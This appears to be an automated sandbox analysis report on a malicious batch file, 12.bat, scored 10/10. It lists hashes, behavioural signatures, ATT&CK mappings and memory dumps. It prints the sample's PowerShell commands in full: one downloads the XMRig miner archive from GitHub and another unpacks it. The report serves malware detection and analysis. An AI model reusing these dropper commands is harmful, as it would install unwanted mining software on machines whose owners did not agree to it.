c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1558s
max time network
1559s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 18:07

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General

Target

12.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2088	powershell.exe
4	2088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe
2088	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2088	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 2088	1368	cmd.exe	29
PID 1368 wrote to memory of 2088	1368	cmd.exe	29
PID 1368 wrote to memory of 2088	1368	cmd.exe	29
PID 1368 wrote to memory of 2652	1368	cmd.exe	30
PID 1368 wrote to memory of 2652	1368	cmd.exe	30
PID 1368 wrote to memory of 2652	1368	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\12.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3f8b2657e33f364aba32c268036c8b13

SHA1
0caebcfb07034babd5ce4bc72bcc2fae363bc60b

SHA256
689b371ac8dc1fdf9227536969cb63f70285e4ba3471c99efc491e6848c53a20

SHA512
d27d00ef5c256a09d6a4ddd720b54eb83f1579883e90035d5efd4a8b2fb76c23b797ead1f7d367013000db2300aab5092b292899f6a00258e41f659b25f6675b

Download Submit
memory/2088-4-0x000007FEF59BE000-0x000007FEF59BF000-memory.dmp

Filesize
4KB

Download
memory/2088-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2088-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2088-7-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2088-8-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2088-9-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-15-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2652-16-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download